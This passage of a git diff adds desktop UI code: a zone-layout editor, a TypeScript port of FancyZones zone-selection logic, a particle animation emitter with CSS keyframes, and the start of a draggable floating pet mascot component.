+            const horizontal = splitPreview.orientation === 'horizontal'
+
+            return (
+              <div
+                className="pointer-events-none absolute"
+                style={{
+                  left: horizontal ? pct(zone.left) : pct(splitPreview.position),
+                  top: horizontal ? pct(splitPreview.position) : pct(zone.top),
+                  width: horizontal ? pct(zone.right - zone.left) : 2,
+                  height: horizontal ? 2 : pct(zone.bottom - zone.top),
+                  background: 'var(--ui-accent)'
+                }}
+              />
+            )
+          })()}
+
+        {/* Rubber-band selection box. */}
+        {selectBox && (
+          <div
+            className="pointer-events-none absolute border"
+            style={{
+              left: pct(selectBox.x0),
+              top: pct(selectBox.y0),
+              width: pct(selectBox.x1 - selectBox.x0),
+              height: pct(selectBox.y1 - selectBox.y0),
+              background: 'color-mix(in srgb, var(--ui-accent) 10%, transparent)',
+              borderColor: 'var(--ui-accent)'
+            }}
+          />
+        )}
+
+        {/* Resizer thumbs on shared edges. */}
+        {resizers.map((resizer, i) => {
+          const geo = resizerGeometry(resizer, zones)
+          const horizontal = resizer.orientation === 'horizontal'
+
+          return (
+            <div
+              className={cn(
+                'absolute z-10 flex items-center justify-center',
+                horizontal
+                  ? 'h-[10px] -translate-y-1/2 cursor-row-resize'
+                  : 'w-[10px] -translate-x-1/2 cursor-col-resize'
+              )}
+              data-resizer={i}
+              key={`r-${i}`}
+              onPointerDown={e => startResizerDrag(i, e)}
+              style={
+                horizontal
+                  ? { top: pct(geo.at), left: pct(geo.from), width: pct(geo.to - geo.from) }
+                  : { left: pct(geo.at), top: pct(geo.from), height: pct(geo.to - geo.from) }
+              }
+            >
+              <span
+                className={cn('pointer-events-none rounded-full', horizontal ? 'h-[4px] w-10' : 'h-10 w-[4px]')}
+                style={{ background: 'color-mix(in srgb, var(--ui-text-primary) 55%, transparent)' }}
+              />
+            </div>
+          )
+        })}
+
+        {/* Merge affordance at drag-release point. */}
+        {mergeAt && selection.length > 1 && (
+          <div className="absolute z-20 flex gap-1" style={{ left: mergeAt.x, top: mergeAt.y }}>
+            <Button
+              className="shadow-lg"
+              onClick={merge}
+              onPointerDown={e => e.stopPropagation()}
+              size="sm"
+              variant="outline"
+            >
+              {t.zones.mergeZones(selection.length)}
+            </Button>
+          </div>
+        )}
+      </div>
+
+      {/* Footer: save / cancel. */}
+      <div className="flex items-center gap-1.5">
+        <Input
+          className="h-7 w-64 text-xs"
+          onChange={e => setName(e.target.value)}
+          // Escape while typing clears the field and yields — it must not bubble
+          // up to close the whole editor and lose the name.
+          onKeyDown={e => {
+            if (e.key === 'Escape') {
+              e.preventDefault()
+              e.stopPropagation()
+              setName('')
+              e.currentTarget.blur()
+            }
+          }}
+          placeholder={t.zones.layoutNamePlaceholder(t.zones.customZoneName(zones.length))}
+          value={name}
+        />
+        <Button disabled={!treeExpressible} onClick={save} size="sm" variant="outline">
+          {t.zones.saveApply}
+        </Button>
+        <Button onClick={() => $zoneEditorOpen.set(false)} size="sm" variant="ghost">
+          {t.common.cancel}
+        </Button>
+        {!treeExpressible && <span className="text-xs text-muted-foreground/80">{t.zones.notExpressible}</span>}
+        <span className="ml-auto text-xs text-muted-foreground/60">{t.zones.zoneCount(zones.length)}</span>
+      </div>
+    </div>
+  )
+}
diff --git a/ui-desktop/src/components/pane-shell/tree/zones-engine.ts b/ui-desktop/src/components/pane-shell/tree/zones-engine.ts
new file mode 100644
index 000000000..6be4e6b34
--- /dev/null
+++ b/ui-desktop/src/components/pane-shell/tree/zones-engine.ts
@@ -0,0 +1,367 @@
+/**
+ * FancyZones runtime engine — verbatim port of the drag/highlight internals
+ * from PowerToys `FancyZonesLib` (microsoft/PowerToys, MIT):
+ *
+ *  - `Layout.cpp`   -> `zonesFromPoint` (sensitivity-radius capture, the
+ *    "captured but not strictly captured" rejection, the overlap resolution
+ *    algorithms incl. ClosestCenter with OVERLAPPING_CENTERS_SENSITIVITY),
+ *    `getCombinedZoneRange`, `getCombinedZonesRect`.
+ *  - `HighlightedZones.cpp` -> the `HighlightedZones` update state machine
+ *    (initial-zone latch + combined range while "select many" is held).
+ *  - `ZonesOverlay.cpp` -> animation timing: FadeInDurationMillis = 200,
+ *    FlashZonesDurationMillis = 700, alpha = clamp(t/200, 0.001, 1), and the
+ *    fill-alpha rule (highlightOpacity applies to BOTH inactive + highlight).
+ *  - `Colors.cpp` -> ZoneColors resolution (system-theme mode maps accent to
+ *    border+highlight and background to primary; number color auto-contrasts).
+ */
+
+// ---------------------------------------------------------------------------
+// Constants (ZonesOverlay.cpp / Layout.cpp / FancyZones defaults)
+// ---------------------------------------------------------------------------
+
+export const FADE_IN_DURATION_MILLIS = 200
+export const FLASH_ZONES_DURATION_MILLIS = 700
+/** LayoutDefaultSettings::DefaultSensitivityRadius. */
+export const DEFAULT_SENSITIVITY_RADIUS = 20
+/** ZoneSelectionAlgorithms::OVERLAPPING_CENTERS_SENSITIVITY. */
+const OVERLAPPING_CENTERS_SENSITIVITY = 75
+
+export type OverlappingZonesAlgorithm = 'Smallest' | 'Largest' | 'Positional' | 'ClosestCenter'
+
+export interface ZoneRect {
+  left: number
+  top: number
+  right: number
+  bottom: number
+}
+
+export interface EngineZone {
+  id: string
+  rect: ZoneRect
+}
+
+interface Point {
+  x: number
+  y: number
+}
+
+const zoneArea = (z: EngineZone) => Math.max(0, z.rect.right - z.rect.left) * Math.max(0, z.rect.bottom - z.rect.top)
+
+// ---------------------------------------------------------------------------
+// ZonesOverlay::GetAnimationAlpha (verbatim ramp)
+// ---------------------------------------------------------------------------
+
+export function getAnimationAlpha(startedAtMs: number, nowMs: number, autoHide: boolean): number {
+  const millis = nowMs - startedAtMs
+
+  if (autoHide && millis > FLASH_ZONES_DURATION_MILLIS) {
+    return 0
+  }
+
+  // Return a positive value to avoid hiding.
+  return Math.min(Math.max(millis / FADE_IN_DURATION_MILLIS, 0.001), 1)
+}
+
+// ---------------------------------------------------------------------------
+// Colors (Colors.cpp + FancyZones settings defaults)
+// ---------------------------------------------------------------------------
+
+export interface ZoneColors {
+  primaryColor: string
+  borderColor: string
+  highlightColor: string
+  numberColor: string
+  /** 0..100, applied as fill alpha to BOTH primary and highlight fills. */
+  highlightOpacity: number
+}
+
+/** FancyZonesSettings defaults (custom-color mode). */
+export const FANCYZONES_DEFAULT_COLORS: ZoneColors = {
+  primaryColor: '#F5FCFF',
+  borderColor: '#FFFFFF',
+  highlightColor: '#008CFF',
+  numberColor: '#000000',
+  highlightOpacity: 50
+}
+
+/**
+ * Colors::GetZoneColors systemTheme branch, mapped to our design tokens:
+ * accent -> border + highlight, surface -> primary, number auto-contrast
+ * (CSS light-dark handles what the C++ does with the black-background check).
+ */
+export function systemThemeZoneColors(): ZoneColors {
+  return {
+    primaryColor: 'var(--ui-bg-editor)',
+    borderColor: 'var(--ui-accent)',
+    highlightColor: 'var(--ui-accent)',
+    numberColor: 'var(--ui-text-primary)',
+    highlightOpacity: 50
+  }
+}
+
+// ---------------------------------------------------------------------------
+// ZoneSelectionAlgorithms (Layout.cpp, verbatim)
+// ---------------------------------------------------------------------------
+
+function zoneSelectPriority(
+  zones: Map<string, EngineZone>,
+  capturedZones: string[],
+  compare: (a: EngineZone, b: EngineZone) => boolean
+): string[] {
+  let chosen = 0
+
+  for (let i = 1; i < capturedZones.length; i++) {
+    if (compare(zones.get(capturedZones[i])!, zones.get(capturedZones[chosen])!)) {
+      chosen = i
+    }
+  }
+
+  return [capturedZones[chosen]]
+}
+
+function zoneSelectSubregion(
+  zones: Map<string, EngineZone>,
+  capturedZones: string[],
+  pt: Point,
+  sensitivityRadius: number
+): string[] {
+  const expand = (rect: ZoneRect): ZoneRect => ({
+    top: rect.top - sensitivityRadius / 2,
+    bottom: rect.bottom + sensitivityRadius / 2,
+    left: rect.left - sensitivityRadius / 2,
+    right: rect.right + sensitivityRadius / 2
+  })
+
+  // Compute the overlapped rectangle.
+  let overlap = expand(zones.get(capturedZones[0])!.rect)
+
+  for (let i = 1; i < capturedZones.length; i++) {
+    const current = expand(zones.get(capturedZones[i])!.rect)
+    overlap = {
+      top: Math.max(overlap.top, current.top),
+      left: Math.max(overlap.left, current.left),
+      bottom: Math.min(overlap.bottom, current.bottom),
+      right: Math.min(overlap.right, current.right)
+    }
+  }
+
+  // Avoid division by zero.
+  const width = Math.max(overlap.right - overlap.left, 1)
+  const height = Math.max(overlap.bottom - overlap.top, 1)
+
+  const verticalSplit = height > width
+  let zoneIndex: number
+
+  if (verticalSplit) {
+    zoneIndex = Math.floor(((pt.y - overlap.top) * capturedZones.length) / height)
+  } else {
+    zoneIndex = Math.floor(((pt.x - overlap.left) * capturedZones.length) / width)
+  }
+
+  zoneIndex = Math.min(Math.max(zoneIndex, 0), capturedZones.length - 1)
+
+  return [capturedZones[zoneIndex]]
+}
+
+function zoneSelectClosestCenter(zones: Map<string, EngineZone>, capturedZones: string[], pt: Point): string[] {
+  const getCenter = (zone: EngineZone): Point => ({
+    x: (zone.rect.right + zone.rect.left) / 2,
+    y: (zone.rect.top + zone.rect.bottom) / 2
+  })
+
+  const pointDifference = (a: Point, b: Point) => (a.x - b.x) * (a.x - b.x) + (a.y - b.y) * (a.y - b.y)
+  const distanceFromCenter = (zone: EngineZone) => pointDifference(getCenter(zone), pt)
+
+  const closerToCenter = (zone1: EngineZone, zone2: EngineZone) => {
+    if (pointDifference(getCenter(zone1), getCenter(zone2)) > OVERLAPPING_CENTERS_SENSITIVITY) {
+      return distanceFromCenter(zone1) < distanceFromCenter(zone2)
+    }
+
+    return zoneArea(zone1) < zoneArea(zone2)
+  }
+
+  return zoneSelectPriority(zones, capturedZones, closerToCenter)
+}
+
+// ---------------------------------------------------------------------------
+// Layout::ZonesFromPoint (verbatim)
+// ---------------------------------------------------------------------------
+
+export function zonesFromPoint(
+  zoneList: EngineZone[],
+  pt: Point,
+  sensitivityRadius = DEFAULT_SENSITIVITY_RADIUS,
+  overlappingAlgorithm: OverlappingZonesAlgorithm = 'Smallest'
+): string[] {
+  const zones = new Map(zoneList.map(z => [z.id, z]))
+  const capturedZones: string[] = []
+  const strictlyCapturedZones: string[] = []
+
+  for (const zone of zoneList) {
+    const zoneRect = zone.rect
+
+    if (
+      zoneRect.left - sensitivityRadius <= pt.x &&
+      pt.x <= zoneRect.right + sensitivityRadius &&
+      zoneRect.top - sensitivityRadius <= pt.y &&
+      pt.y <= zoneRect.bottom + sensitivityRadius
+    ) {
+      capturedZones.push(zone.id)
+    }
+
+    if (zoneRect.left <= pt.x && pt.x < zoneRect.right && zoneRect.top <= pt.y && pt.y < zoneRect.bottom) {
+      strictlyCapturedZones.push(zone.id)
+    }
+  }
+
+  // If only one zone is captured, but it's not strictly captured
+  // don't consider it as captured.
+  if (capturedZones.length === 1 && strictlyCapturedZones.length === 0) {
+    return []
+  }
+
+  // If captured zones do not overlap, return all of them.
+  // Otherwise, return one of them based on the chosen selection algorithm.
+  let overlap = false
+
+  outer: for (let i = 0; i < capturedZones.length; i++) {
+    for (let j = i + 1; j < capturedZones.length; j++) {
+      const rectI = zones.get(capturedZones[i])!.rect
+      const rectJ = zones.get(capturedZones[j])!.rect
+
+      if (
+        Math.max(rectI.top, rectJ.top) + sensitivityRadius < Math.min(rectI.bottom, rectJ.bottom) &&
+        Math.max(rectI.left, rectJ.left) + sensitivityRadius < Math.min(rectI.right, rectJ.right)
+      ) {
+        overlap = true
+
+        break outer
+      }
+    }
+  }
+
+  if (overlap) {
+    switch (overlappingAlgorithm) {
+      case 'Smallest':
+        return zoneSelectPriority(zones, capturedZones, (a, b) => zoneArea(a) < zoneArea(b))
+
+      case 'Largest':
+        return zoneSelectPriority(zones, capturedZones, (a, b) => zoneArea(a) > zoneArea(b))
+
+      case 'Positional':
+        return zoneSelectSubregion(zones, capturedZones, pt, sensitivityRadius)
+
+      case 'ClosestCenter':
+        return zoneSelectClosestCenter(zones, capturedZones, pt)
+    }
+  }
+
+  return capturedZones
+}
+
+/** The single zone a drop lands in: ClosestCenter among the highlighted set. */
+export function primaryZone(zoneList: EngineZone[], highlighted: string[], pt: Point): string | null {
+  if (highlighted.length === 0) {
+    return null
+  }
+
+  if (highlighted.length === 1) {
+    return highlighted[0]
+  }
+
+  const zones = new Map(zoneList.map(z => [z.id, z]))
+
+  return zoneSelectClosestCenter(zones, highlighted, pt)[0] ?? highlighted[0]
+}
+
+// ---------------------------------------------------------------------------
+// Layout::GetCombinedZoneRange (verbatim)
+// ---------------------------------------------------------------------------
+
+export function getCombinedZoneRange(zoneList: EngineZone[], initialZones: string[], finalZones: string[]): string[] {
+  const zones = new Map(zoneList.map(z => [z.id, z]))
+  const combinedZones = [...new Set([...initialZones, ...finalZones])]
+
+  let boundingRect: ZoneRect | null = null
+
+  for (const zoneId of combinedZones) {
+    const zone = zones.get(zoneId)
+
+    if (zone) {
+      const rect = zone.rect
+
+      if (!boundingRect) {
+        boundingRect = { ...rect }
+      } else {
+        boundingRect.left = Math.min(boundingRect.left, rect.left)
+        boundingRect.top = Math.min(boundingRect.top, rect.top)
+        boundingRect.right = Math.max(boundingRect.right, rect.right)
+        boundingRect.bottom = Math.max(boundingRect.bottom, rect.bottom)
+      }
+    }
+  }
+
+  const result: string[] = []
+
+  if (boundingRect) {
+    for (const zone of zoneList) {
+      const rect = zone.rect
+
+      if (
+        boundingRect.left <= rect.left &&
+        rect.right <= boundingRect.right &&
+        boundingRect.top <= rect.top &&
+        rect.bottom <= boundingRect.bottom
+      ) {
+        result.push(zone.id)
+      }
+    }
+  }
+
+  return result
+}
+
+// ---------------------------------------------------------------------------
+// HighlightedZones (HighlightedZones.cpp, verbatim state machine)
+// ---------------------------------------------------------------------------
+
+export class HighlightedZones {
+  private highlightZone: string[] = []
+  private initialHighlightZone: string[] = []
+
+  zones(): readonly string[] {
+    return this.highlightZone
+  }
+
+  empty(): boolean {
+    return this.highlightZone.length === 0
+  }
+
+  /** Returns true when the highlight set changed. */
+  update(zoneList: EngineZone[], point: Point, selectManyZones: boolean): boolean {
+    let highlightZone = zonesFromPoint(zoneList, point)
+
+    if (selectManyZones) {
+      if (this.initialHighlightZone.length === 0) {
+        // First time.
+        this.initialHighlightZone = highlightZone
+      } else {
+        highlightZone = getCombinedZoneRange(zoneList, this.initialHighlightZone, highlightZone)
+      }
+    } else {
+      this.initialHighlightZone = []
+    }
+
+    const updated =
+      highlightZone.length !== this.highlightZone.length || highlightZone.some((z, i) => z !== this.highlightZone[i])
+
+    this.highlightZone = highlightZone
+
+    return updated
+  }
+
+  reset(): void {
+    this.highlightZone = []
+    this.initialHighlightZone = []
+  }
+}
diff --git a/ui-desktop/src/components/particles/particle-field.css b/ui-desktop/src/components/particles/particle-field.css
new file mode 100644
index 000000000..94bf2258a
--- /dev/null
+++ b/ui-desktop/src/components/particles/particle-field.css
@@ -0,0 +1,126 @@
+/* ── Particle field ─────────────────────────────────────────────────────────
+   Reusable float-up emitter. Three nested layers, each owning ONE transform so
+   they never fight:
+     .particle          — full-height track: vertical rise + fade (linear)
+     .particle__sway    — horizontal weave + bank/tilt on its OWN period
+                          (ease-in-out, alternating), so the path desyncs from
+                          the rise and never repeats — the organic-motion trick
+     .particle__glyph   — one-shot springy pop-in scale
+   The track is full-height and anchored at the field bottom, so the rise's
+   `translateY(-rise%)` measures against the field height, not the glyph's. All
+   tuning arrives as inline `--particle-*` custom properties. */
+.particle-field {
+  pointer-events: none;
+  overflow: visible;
+}
+
+.particle {
+  position: absolute;
+  inset-block: 0;
+  left: var(--particle-left);
+  display: flex;
+  align-items: flex-end;
+  justify-content: center;
+  width: var(--particle-size);
+  margin-left: calc(var(--particle-size) / -2);
+  will-change: transform, opacity;
+  animation: particle-rise var(--particle-duration) linear var(--particle-delay) both;
+}
+
+.particle__sway {
+  display: block;
+  will-change: transform;
+  animation: particle-sway var(--particle-sway-duration) ease-in-out var(--particle-sway-delay)
+    infinite alternate;
+}
+
+.particle__glyph {
+  display: block;
+  width: var(--particle-size);
+  color: var(--particle-color);
+  will-change: transform;
+  animation: particle-pop 260ms cubic-bezier(0.34, 1.56, 0.64, 1) var(--particle-delay) both;
+}
+
+.particle__glyph > svg {
+  display: block;
+  width: 100%;
+  height: auto;
+}
+
+/* Rise: straight up the field, holds opacity through most of the climb, fades
+   near the top. */
+@keyframes particle-rise {
+  0% {
+    opacity: 0;
+    transform: translate3d(0, 0, 0);
+  }
+
+  6% {
+    opacity: 1;
+    transform: translate3d(0, calc(var(--particle-rise) * -0.06%), 0);
+  }
+
+  70% {
+    opacity: 1;
+    transform: translate3d(0, calc(var(--particle-rise) * -0.7%), 0);
+  }
+
+  100% {
+    opacity: 0;
+    transform: translate3d(0, calc(var(--particle-rise) * -1%), 0);
+  }
+}
+
+/* Sway + bank: swings left↔right and tilts INTO the direction of travel, like a
+   leaf on a breeze. Runs on its own clock. */
+@keyframes particle-sway {
+  from {
+    transform: translateX(calc(var(--particle-sway) * -1)) rotate(calc(var(--particle-bank) * -1));
+  }
+
+  to {
+    transform: translateX(var(--particle-sway)) rotate(var(--particle-bank));
+  }
+}
+
+/* Pop: a springy scale-in overshoot (the bezier is a spring, not a path wobble). */
+@keyframes particle-pop {
+  0% {
+    transform: scale(0.3);
+  }
+
+  100% {
+    transform: scale(1);
+  }
+}
+
+@media (prefers-reduced-motion: reduce) {
+  .particle {
+    inset-block: auto 0;
+    height: var(--particle-size);
+    animation: particle-flash 650ms ease-out var(--particle-delay) both;
+  }
+
+  .particle__sway,
+  .particle__glyph {
+    animation: none;
+  }
+
+  @keyframes particle-flash {
+    0% {
+      opacity: 0;
+      transform: translate3d(0, 0, 0) scale(0.6);
+    }
+
+    20% {
+      opacity: 1;
+      transform: translate3d(0, -0.5rem, 0) scale(1.1);
+    }
+
+    100% {
+      opacity: 0;
+      transform: translate3d(0, -1rem, 0) scale(1);
+    }
+  }
+}
diff --git a/ui-desktop/src/components/particles/particle-field.tsx b/ui-desktop/src/components/particles/particle-field.tsx
new file mode 100644
index 000000000..a7e70c933
--- /dev/null
+++ b/ui-desktop/src/components/particles/particle-field.tsx
@@ -0,0 +1,204 @@
+import './particle-field.css'
+
+import { type CSSProperties, type ReactNode, useEffect, useMemo, useRef, useState } from 'react'
+
+import { cn } from '@/lib/utils'
+
+/**
+ * Reusable float-up particle emitter. It owns the motion (rise + organic sway +
+ * springy pop) and lifecycle (staggered burst, lifetime, cleanup); callers just
+ * hand it a `glyph` (any element using `currentColor`) and `colors`, then place
+ * it with `className` / `style`. See {@link VibeHearts} for the chat-hearts use.
+ */
+
+type Range = readonly [min: number, max: number]
+
+const rand = ([min, max]: Range) => min + Math.random() * (max - min)
+/** Sample a range along `t` (0→min, 1→max) — couples travel/lifetime to `life`. */
+const lerp = ([min, max]: Range, t: number) => min + (max - min) * t
+
+export interface ParticleFieldConfig {
+  /** Particles per burst when `burst()` is called without a count. */
+  count: number
+  /** Window (ms) over which a burst releases its particles — small = one poof. */
+  spawnWindowMs: number
+  /** Glyph edge size (px), uniform. */
+  size: Range
+  /** Vertical travel before fade-out (% of field height), `life`-biased. */
+  rise: Range
+  /** Rise duration (ms), `life`-biased so short-lived particles also rise less. */
+  duration: Range
+  /** Sway amplitude each side of center (px), uniform. */
+  swayAmp: Range
+  /** Peak tilt into the sway (deg), uniform. */
+  bank: Range
+  /** Sway period (ms), uniform — independent of the rise so paths never repeat. */
+  swayDuration: Range
+  /** Cap on simultaneously-alive particles. */
+  maxAlive: number
+}
+
+export const DEFAULT_PARTICLE_CONFIG: ParticleFieldConfig = {
+  count: 12,
+  spawnWindowMs: 550,
+  size: [6, 13],
+  rise: [6.75, 15.75],
+  duration: [320, 700],
+  swayAmp: [9, 24],
+  bank: [7, 16],
+  swayDuration: [1300, 2800],
+  maxAlive: 200
+}
+
+export interface ParticleEmitter {
+  /** Fire a burst (defaults to the field's configured `count`). */
+  burst: (count?: number) => void
+  /** Internal: field subscription. */
+  subscribe: (fn: (count?: number) => void) => () => void
+}
+
+/** Create an emitter handle. `burst()` is safe to call from anywhere. */
+export function createParticleEmitter(): ParticleEmitter {
+  const listeners = new Set<(count?: number) => void>()
+
+  return {
+    burst: count => listeners.forEach(fn => fn(count)),
+    subscribe: fn => {
+      listeners.add(fn)
+
+      return () => void listeners.delete(fn)
+    }
+  }
+}
+
+interface Particle {
+  id: number
+  leftPct: number
+  size: number
+  color: string
+  delayMs: number
+  durationMs: number
+  rise: number
+  swayAmp: number
+  bank: number
+  swayDurationMs: number
+  swayDelayMs: number
+}
+
+let nextId = 1
+
+function spawn(cfg: ParticleFieldConfig, colors: readonly string[]): Particle {
+  // Short-lived particles fade out lower; a few live longer and rise higher.
+  const life = Math.random() ** 1.7
+  const swayDurationMs = Math.round(rand(cfg.swayDuration))
+
+  return {
+    id: nextId++,
+    // Spread edge to edge across the lane, not clustered near center.
+    leftPct: 4 + Math.random() * 92,
+    size: rand(cfg.size),
+    color: colors[Math.floor(Math.random() * colors.length)]!,
+    delayMs: Math.round(Math.random() * 120),
+    durationMs: Math.round(lerp(cfg.duration, life)),
+    rise: lerp(cfg.rise, life),
+    swayAmp: rand(cfg.swayAmp),
+    bank: rand(cfg.bank),
+    swayDurationMs,
+    // Negative delay drops each particle in mid-swing (desynced phases).
+    swayDelayMs: -Math.round(Math.random() * swayDurationMs)
+  }
+}
+
+const prefersReducedMotion = () =>
+  typeof window !== 'undefined' && Boolean(window.matchMedia?.('(prefers-reduced-motion: reduce)').matches)
+
+export interface ParticleFieldProps {
+  emitter: ParticleEmitter
+  /** Any element that paints with `currentColor` (SVG, glyph, …). */
+  glyph: ReactNode
+  colors: readonly string[]
+  config?: Partial<ParticleFieldConfig>
+  className?: string
+  style?: CSSProperties
+}
+
+export function ParticleField({ emitter, glyph, colors, config, className, style }: ParticleFieldProps) {
+  const cfg = useMemo(() => ({ ...DEFAULT_PARTICLE_CONFIG, ...config }), [config])
+  const [particles, setParticles] = useState<Particle[]>([])
+  const timers = useRef<Set<ReturnType<typeof setTimeout>>>(new Set())
+
+  useEffect(() => {
+    const pool = timers.current
+    const add = () => setParticles(prev => [...prev, spawn(cfg, colors)].slice(-cfg.maxAlive))
+
+    // Release a burst across a tight window so it reads as one poof, each node
+    // with its own random birth time; reduced motion gets a single flash.
+    const onBurst = (count?: number) => {
+      const n = Math.max(1, Math.min(cfg.maxAlive, Math.round(count ?? cfg.count)))
+
+      if (prefersReducedMotion()) {
+        add()
+
+        return
+      }
+
+      for (let i = 0; i < n; i++) {
+        const timer = setTimeout(() => {
+          pool.delete(timer)
+          add()
+        }, Math.random() * cfg.spawnWindowMs)
+
+        pool.add(timer)
+      }
+    }
+
+    const unsubscribe = emitter.subscribe(onBurst)
+
+    return () => {
+      unsubscribe()
+      pool.forEach(clearTimeout)
+      pool.clear()
+    }
+  }, [cfg, colors, emitter])
+
+  const remove = (id: number) => setParticles(prev => prev.filter(p => p.id !== id))
+
+  if (particles.length === 0) {
+    return null
+  }
+
+  return (
+    <div aria-hidden className={cn('particle-field', className)} style={style}>
+      {particles.map(p => (
+        <span
+          className="particle"
+          key={p.id}
+          // Retire on the RISE track only (sway is infinite, pop is shorter).
+          onAnimationEnd={e => {
+            if (e.animationName === 'particle-rise' || e.animationName === 'particle-flash') {
+              remove(p.id)
+            }
+          }}
+          style={
+            {
+              '--particle-left': `${p.leftPct}%`,
+              '--particle-size': `${p.size}px`,
+              '--particle-color': p.color,
+              '--particle-delay': `${p.delayMs}ms`,
+              '--particle-duration': `${p.durationMs}ms`,
+              '--particle-rise': p.rise,
+              '--particle-sway': `${p.swayAmp}px`,
+              '--particle-bank': `${p.bank}deg`,
+              '--particle-sway-duration': `${p.swayDurationMs}ms`,
+              '--particle-sway-delay': `${p.swayDelayMs}ms`
+            } as CSSProperties
+          }
+        >
+          <span className="particle__sway">
+            <span className="particle__glyph">{glyph}</span>
+          </span>
+        </span>
+      ))}
+    </div>
+  )
+}
diff --git a/ui-desktop/src/components/pet/floating-pet.tsx b/ui-desktop/src/components/pet/floating-pet.tsx
new file mode 100644
index 000000000..bbf593f4e
--- /dev/null
+++ b/ui-desktop/src/components/pet/floating-pet.tsx
@@ -0,0 +1,479 @@
+import { useStore } from '@nanostores/react'
+import { useCallback, useEffect, useRef, useState } from 'react'
+
+import { useGatewayRequest } from '@/app/gateway/hooks/use-gateway-request'
+import { useOnProfileSwitch } from '@/app/hooks/use-on-profile-switch'
+import { useRouteOverlayActive } from '@/app/hooks/use-route-overlay-active'
+import { PetHeartField } from '@/components/chat/vibe-hearts'
+import { persistString, storedString } from '@/lib/storage'
+import { $changeEventsAvailable, $petChange } from '@/store/live-sync'
+import {
+  $petAtRest,
+  $petInfo,
+  $petRoam,
+  $petRoamDir,
+  clearPetUnread,
+  hasPetSpriteForMeta,
+  mergePetInfoMeta,
+  type PetInfo,
+  type PetInfoMeta,
+  petProfile,
+  setPetInfo
+} from '@/store/pet'
+import { resetPetGallery, setPetScale } from '@/store/pet-gallery'
+import { $petOverlayActive, initPetOverlayBridge, popOutPet, restorePetOverlay } from '@/store/pet-overlay'
+import { $gatewayState } from '@/store/session'
+import { isSecondaryWindow } from '@/store/windows'
+import { useTheme } from '@/themes/context'
+
+import { PetSprite, roamWalkRow } from './pet-sprite'
+import { usePetRoam } from './use-pet-roam'
+import { type PetZoomAnchor, usePetZoomGesture } from './use-pet-zoom-gesture'
+
+// v2: positions are now top/left anchored (v1 stored bottom-anchored values,
+// which dragged inverted). Bumping the key discards stale v1 coordinates.
+const POSITION_KEY = 'clawcodex.desktop.pet-position.v2'
+
+// Stand-in pet size for the pre-load clamp (real size flows in with `info`).
+const NOMINAL_PET_PX = 96
+
+interface Point {
+  x: number
+  y: number
+}
+
+// Keep a w×h box fully inside the viewport. Pre-pet-load callers pass a nominal
+// size; the live size flows in once `info` arrives.
+function clampPoint(x: number, y: number, w: number, h: number): Point {
+  return {
+    x: Math.min(Math.max(0, x), Math.max(0, (window.innerWidth || 800) - w)),
+    y: Math.min(Math.max(0, y), Math.max(0, (window.innerHeight || 600) - h))
+  }
+}
+
+// The sprite art faces left by default, so mirror it when the pet's center sits
+// on the left half of the window — it always faces inward, toward the content.
+function facing(leftX: number, petW: number): string {
+  return leftX + petW / 2 < (window.innerWidth || 800) / 2 ? 'scaleX(-1)' : 'none'
+}
+
+function loadPosition(): Point {
+  try {
+    const raw = storedString(POSITION_KEY)
+
+    if (raw) {
+      const parsed = JSON.parse(raw) as Point
+
+      if (typeof parsed.x === 'number' && typeof parsed.y === 'number') {
+        return clampPoint(parsed.x, parsed.y, NOMINAL_PET_PX, NOMINAL_PET_PX)
+      }
+    }
+  } catch {
+    // fall through to default
+  }
+
+  // Default: lower-left corner (top/left anchored).
+  return clampPoint(24, (window.innerHeight || 600) - 220, NOMINAL_PET_PX, NOMINAL_PET_PX)
+}
+
+/**
+ * In-window floating petdex mascot. Always-on-top within the app, draggable,
+ * and reactive to agent activity via `$petState`. Fetches the active pet via
+ * the shared `pet.info` RPC; renders nothing until a pet is installed +
+ * enabled.
+ *
+ * Adopting a pet is fully in-app: type `/pet boba` in the composer. That
+ * writes `display.pet.*` from the slash worker, so we keep polling `pet.info`
+ * while no pet is active and the mascot pops in within a few seconds — no
+ * reload, no CLI. Once a pet is live we still refresh more slowly so generated
+ * pets rewritten on disk (or renamed/rebuilt by the hatch flow) repaint without
+ * restarting the app.
+ *
+ * Promotion to a separate frameless OS-level window is a follow-up — the
+ * sprite + state logic here is reused as-is, only the host changes.
+ */
+const PET_POLL_MS = 3000
+const PET_ACTIVE_REFRESH_MS = 15000
+
+export function FloatingPet() {
+  const { requestGateway } = useGatewayRequest()
+  const { resolvedMode } = useTheme()
+  const gatewayState = useStore($gatewayState)
+  const info = useStore($petInfo)
+  const changeEventsAvailable = useStore($changeEventsAvailable)
+  const petChange = useStore($petChange)
+  const overlayActive = useStore($petOverlayActive)
+  const roamEnabled = useStore($petRoam)
+  const atRest = useStore($petAtRest)
+  const roamDir = useStore($petRoamDir)
+  const routeOverlayOpen = useRouteOverlayActive()
+
+  const [position, setPosition] = useState<Point>(loadPosition)
+  const containerRef = useRef<HTMLDivElement | null>(null)
+  // The facing mirror lives on the sprite wrapper, not the container, so the
+  // speech bubble (a container child) never renders flipped/backwards.
+  const spriteWrapRef = useRef<HTMLDivElement | null>(null)
+  const petW = (info.frameW ?? 192) * (info.scale ?? 0.33)
+  const petH = (info.frameH ?? 208) * (info.scale ?? 0.33)
+  // Soft contact shadow, sized off the pet so every scale/species grounds the
+  // same way (cf. lairp's per-actor feet ellipse). Lighter on light backgrounds.
+  const shadowW = Math.round(petW * 0.55)
+  const shadowH = Math.max(3, Math.round(shadowW * 0.28))
+  const shadowAlpha = resolvedMode === 'light' ? 0.2 : 0.55
+  // Live drag offset (pointer → element top-left). Drag updates the DOM
+  // directly to avoid a React re-render (and canvas reflow) per pointermove —
+  // state is only committed on release.
+  const dragRef = useRef<{ dx: number; dy: number; x: number; y: number } | null>(null)
+
+  // Keep the *whole* pet on-screen at its current size, so growing it near an
+  // edge can't leave the window cropping it. Shared by drag + the reclamp effect.
+  const clamp = useCallback(({ x, y }: Point): Point => clampPoint(x, y, petW, petH), [petW, petH])
+
+  // Fetch pet.info on connect, then let pet.changed drive refreshes: the
+  // change watcher broadcasts when /pet (de)activates a pet or the hatch flow
+  // rewrites a sheet, so event-capable backends need no interval at all —
+  // users with no pet especially (this used to poll hardest for them). Older
+  // backends keep the legacy fast-while-inactive poll.
+  const active = info.enabled && Boolean(info.spritesheetBase64)
+  useEffect(() => {
+    if (gatewayState !== 'open') {
+      return
+    }
+
+    let cancelled = false
+
+    // pet.changed already carries the meta payload — an enabled=false
+    // broadcast clears the mascot with zero round-trips, and an unchanged
+    // revision (scale-only move still changes the sig) short-circuits below
+    // via hasPetSpriteForMeta + mergePetInfoMeta.
